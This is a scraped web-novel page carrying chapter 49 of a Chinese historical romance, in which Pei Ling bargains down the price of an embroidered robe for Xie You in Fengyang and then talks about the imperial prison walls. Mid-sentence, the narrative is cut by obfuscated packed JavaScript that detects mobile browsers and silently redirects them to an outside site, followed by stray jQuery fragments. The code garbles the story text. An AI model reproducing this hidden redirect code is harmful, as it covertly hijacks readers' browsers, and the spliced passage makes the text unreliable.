默认冷灰
24号文字
方正启体

49. 第 49 章

作者:年年乐事本书字数:K更新时间:
    今夜原是计划落宿驿站,一则长时间骑行令裴泠腹间不适,二则宋长庚衣衫褴褛,她也想去城里为他置办几身,于是在下晌接近申正的样子,三人便改道进了凤阳城。因凤阳为太.祖故里,亦是帝陵所在,城禁尤严,为避免守卫盘诘,进城前裴泠还换了衣服,收起绣春刀,一并与马匹寄放在城外农户家。


    待入城后,三人径直找了家成衣铺走了进去。


    只见那掌柜正稳稳坐在榆木大柜台后头盘他的佛珠,若是寻常客人进来,仅把眼皮略略一抬,颔首致个意,自有那伶俐伙计上前招呼买卖。这时瞅见门外来的新客,却是一霎顿住了。


    眼前这位小姐外罩官绿暗花纹比甲,对襟敞开处露了一片里头交领绸衫的领缘,隐约还可见系带缀有小玉扣,便知是个讲究的。下身穿着螺青及履杭绸马面裙,打眼一瞧,是实打实的好料子。再往旁边那位玉面公子看去,嚯,生得那叫一个相貌堂堂,通身一股书卷清气,可不是寻常人家能有的。


    掌柜心中早已飞快掂量出了斤两,顷刻间便提起十二万分的真挚热忱,袍袖带风地从柜台后急步转了出来。


    “嗳哟!贵客!贵客临门哪!”


    “掌柜的,”裴泠开言道,“你这铺子里可有适合行伍之人穿的衣服?面料透气为上,剪裁利落些,要窄袖束身的样式。”


    听她这么一说,掌柜才瞥见他二位身后半步之外还悄没声儿地立着个年轻后生,身上一件灰扑扑的粗麻短打,脚下一双沾着泥浆的露趾破草鞋,顶着一张菜色蜡黄的脸,正朝他看过来。掌柜顿生嫌恶,心中暗骂那牙行卖人前,怎么也该拾掇一番,好歹换身囫囵干净衣裳啊。


    这厢对着裴泠,满面陪笑地应道:“回贵客的话,自是有的,我这就叫人带小哥儿去挑挑款。”


    言讫,他即刻招唤伙计,压低声音吩咐着:“你带那小厮下去后头挑几身,记得慢些挑,多挨延些时候。”


    伙计心得意会,立时就将宋长庚带走了。


    掌柜转背回来,又是笑容满面,谄媚地说:“二位贵客快请雅座用茶!这外头人多眼杂,岂是您二位该待的地儿?”


    裴泠一口回绝:“不必,我们就在外头等。”


    见他二位不似寻常人家,掌柜岂甘心就只做一吊钱的生意,但听那话里又毫无回旋余地,便也只能叫伙计将两套衣裳从雅间里取了来,专门捧至他二位眼前。


    那是两个乌木雕花的大匣子,掌柜轻轻掀开匣盖,口中道着:“这匣子里头是咱们铺子压箱底的镇店之宝,今个打眼一瞧二位贵客,便知我这两件宝衣是寻着正主啰!”


    说着,他小心翼翼如捧珍宝,一件件取出,轻展于铺了素锦的案上。


    先头一件是广袖直身,另一件则是同色女式大袖衫,掌柜只将衣襟轻轻一抖,便见那衣料上流光浮动。


    “二位先瞧料子,用不着上手,溜一眼就知绝非凡品,正是上等宋锦哪!这料子薄如蝉翼,穿上又挺括有骨,春夏二季正合适。”


    颜色倒是特别,青不似青,绿不似绿,蓝不似蓝,仿佛换个角度看便有所不同。这般想着,裴泠近前一步。


    另一边的谢攸却是兴味索然,他莫说买下,便是多问一句价钱,也属妄想,遂将目光移开,只去瞧壁上挂的字画,全然置身事外。


    掌柜眼利,早明白过来眼前这位小姐才是主事的,见她似乎感兴趣,立马更殷勤地道:“贵人且再凑近细瞧纹样,那可是孔雀羽线掺了银丝绣的,您道这就完了?”他掩口轻笑,抬手往下示意,“且看下摆,瞧瞧,竟是画绣呢!这山水云间,这意境,这韵味,姑苏城里的针线风流,真真是别处比不得的。”


    “掌柜索价几何?”裴泠问道。


    “贵人慧眼!实不相瞒,这两件宝衣是特请了江南织造局退下来的几位高手匠亲手制的,用的乃是宫里技法。论价时,单一件须得这个数——”说着,掌柜便伸出一根手指,“纹银一百两整。两件合在一处,原该是二百两之数。”


    他略顿一顿,偷眼觑着裴泠神色,见她不言语,又道:“只是今日缘分着实难得,小姐又是这般识货的贵人。若蒙贵人不弃,将这两件宝贝一并请了去,小的也愿折些本钱,孝敬贵人五两的让头。如此算来,统共只消一百九十五两,也算全了小店与贵人的缘分。”


    “等等,多少?”谢攸无意间听到,眉毛猛地向上挑起,“就这两件衣服要一百九十五两?!”


    掌柜拿捏着姿态,陪笑道:“公子,俗话说得好,一分价钱一分货,这画绣上用的可不是寻常线,那是一根线拆分成三百多毛,比头发丝还细呢!到底姑苏绣娘的手段不同,将江南的烟雨气、书卷香尽数给缝了进去。这般物件穿在身上,便是不言语,也自有一通高华气派。”


    谢攸全副身家都没有二百两,这一场惊吓着实不小。江南烟雨气,怕是下的银子雨。


    裴泠伸手摸了摸料子:“这两件衣裳模样是好的,上头绣的纹样也精细,但要说绣线是孔雀羽线,可就犯了僭越之罪了。”


    掌柜见她懂一些门道,便也不捏造了:“贵人是个懂行的,确实非孔雀羽线,而是雉鸡颈部蓝绿色羽毛捻的线,绣娘还用了叠色套针法,工艺上更为繁复,成品跟孔雀羽线丝毫无差。”


    “那件大袖衫就不必了,这件直身我倒是有些兴趣。只是——”裴泠顿一顿,“这一百两的价,虚头未免大了些,里头掌柜少说要赚个六十两。你若要按这个价卖,买得起的人家又大多门儿清,看你漫天要价,谁会蠢得买?买了不就成了冤大头?”


    “那……”掌柜一咬牙,“由贵人说个价,我看使不使得。”


    裴泠直接开价道:“五十两,多了我也没有。你们府尊大人一月俸禄折算下来也不过十二两,这年头一单生意能赚个十两已是了不得了。”


    要他少赚五十两?掌柜肉疼极了,可转念一想,这两身衣裳在铺子里摆了近一年,要是再卖不出去,怕是要开始发黄褪色了。如今能卖个一件,多少也能挽回些损失。


    虽这般想着,言语上还是要再挣扎一下:“贵人说笑了,那些大人赚的岂是俸禄?天底下也没对半还价的道理,要是客人都如贵人这般精刮,小店日后都要喝西北风。”


    “那便罢了。”裴泠果断地摆了摆手,岔开谈锋说,“去催催你家伙计,怎的挑几件衣服要这么久?”


    掌柜装作没听见,杵在那儿不挪腿。


    她随即扬声唤人:“宋长庚,还不来?”


    “来了来了,欸你这人,你老扒拉我做什么?”


    宋长庚的声音由远及近,终于摆脱伙计的拉扯,赶紧跑过来。


    掌柜抢步上前拦着,扭头对裴泠道:“罢罢罢!这件直身五十两,成交了!权当与贵人结个善缘,日后若贵人想买新衣,还望常来照应小店则个!”


    裴泠也干脆,回了一笑:“掌柜如此爽利,今日这善缘自是结下了的。”


    掌柜叹口气


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404622|184422||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,问道:“贵人可是要包起来?”


    “不必,让他试试先。”裴泠朝谢攸站的方向努努下巴。


    “我就知是买给这位公子的,二位是……?”


    “姐弟。”


    “怪道呢!方才打进门我就瞧着二位长得相像,果真是姐弟。”掌柜复将案上那件直身捧起,笑着递了过去,“公子且快去试试,若是尺寸上略差些,我立时令裁缝来改,包管称心的。”


    谢攸急声推拒:“我不要!”


    “嗳哟!”掌柜抬掌就拍在他背上,砰一声闷响,“这是姐姐特意给你买的,收下便是了,岂有推辞的理?我若得这么个知冷知热的姐姐,便是在梦里也要笑醒过来,真是几世修来的福分呢!”言着,就把衣服塞进他怀里,“还不接着,快换去,没的白辜负了你姐姐的心!”


    谢攸被掌柜这番话生生架在那儿,只得看向她,使劲摇头。


    裴泠口里嘣出一个“去”字,表情没有一点商量余地,语罢又转头对宋长庚说:“你也一道去,把身上这脏衣服换下来,过会儿带你们去吃顿好的。”


    *


    谢攸本就长得俊,如今换上这身行头,便应了那句“人靠衣装马靠鞍”,打从成衣铺出来,一路上不知引了多少人侧目。


    “学宪,这身可真衬您!”宋长庚是由衷地称道。


    “多谢。”谢攸扬唇勉强对他一笑,有些心事重重的样子。


    他岂能不心事重重?五十两银足有三斤,那么沉甸甸的一袋银子给出去,就换来身上这件轻飘飘的直身,她心不心疼他不晓得,反正他是心疼死了。


    三人正并排走在城中热闹处,日影西斜,将落未落,街上车马喧阗,一个青布缠头的挑担小贩,口中道着“借过借过”,一溜烟从谢攸和宋长庚中间穿了过去。


    经小贩这一挤,他与裴泠站得便又更近了些。谢攸很想问问她,好端端的为何突然要赠他这身衣裳,但碍着宋长庚在旁,不好意思开口,却也忍不住几度瞄她。


    裴泠斜他一眼:“看什么看,有话就说。”


    “我——”


    “好长的城墙,”宋长庚陡地出声道,“一眼望不到头,走了这半日,怕是一半都未走完。”


    他这无心一说,那两人之间的对话便也止了。


    谢攸循着宋长庚的视线望过去,不远处墙垣连绵,彻底把金乌压了下去,半丝儿霞光也透它不过,那城根底下,徐徐漫起了一片黑沉沉的阴翳。


    “当年太.祖建凤阳中都时先后征调了几十万军卒匠役,说起来这皇城原是比北京紫禁城更大更气派的,光是午门即是北京的两倍多宽,连御街都是以汉白玉铺就而成。”


    裴泠接过谢攸的话头,说道:“可惜当年劳民伤财,费那么大劲建的中都皇城,现在却成了牢狱。”


    “大人,”宋长庚探出身子问她,“那现在这凤阳高墙里头还关着人吗?”


    “当然,”她回说,“朱济熿的后裔都还关在里头。”


    “怎么可能?”宋长庚讶异,“朱济熿不是永乐年间的晋王吗?怎么可能现在还有后裔在高墙里?”


    裴泠也看向那面城墙,冷声道:“凡被关押的亲王和亲王子嗣,朝廷都会配发使女,这些使女除洗衣做饭、照料起居外,为防止宗支断绝,她们还要给无子嗣的罪宗侍寝,以确保其血脉得以延续。”


    宋长庚本想说什么,喉头滚了滚,索性狠狠啐了一口,骂道:“驴毬的!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)